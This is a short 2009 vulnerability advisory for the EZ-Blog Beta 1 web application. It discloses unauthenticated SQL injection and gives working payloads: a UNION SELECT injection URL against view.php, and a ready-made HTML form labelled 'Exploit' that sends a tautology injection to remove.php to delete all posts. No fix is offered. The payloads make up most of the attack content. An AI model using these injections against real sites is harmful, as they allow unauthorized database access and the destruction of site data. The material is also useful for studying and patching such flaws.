EZ-Blog 1b Delete All Posts - SQL Injection Vulnerabilities

2009-03-02 18:31:49

******* Salvatore "drosophila" Fresta *******


Application: EZ-Blog
http://sourceforge.net/projects/ez-blog/
Version: Beta 1
Bug: * Multiple SQL Injection
Exploitation: Remote
Date: 1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: [email protected]


*************************************************

- BUGS

SQL Injection:

Requisites: magic_quotes_gpc = off

This is a crazy application because it not
require authentication for posting, deleting,
etc. and it is entirely vulnerable to SQL
Injection, as follows:

http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10%23

There aren't hight reserved information on the
database, but it is possible to cause inconvenience.
The following injection allow to delete all
posts:

<form action="http://site/path/admin/remove.php" method="POST">
<input type="hidden" name="kill" value="1'or'1'='1">
<input type="hidden" name="confirm" value="1">
<input type="hidden" name="rm" value="true">
<input type="submit" value="Exploit">
</form>

#

Fixes

No fixes

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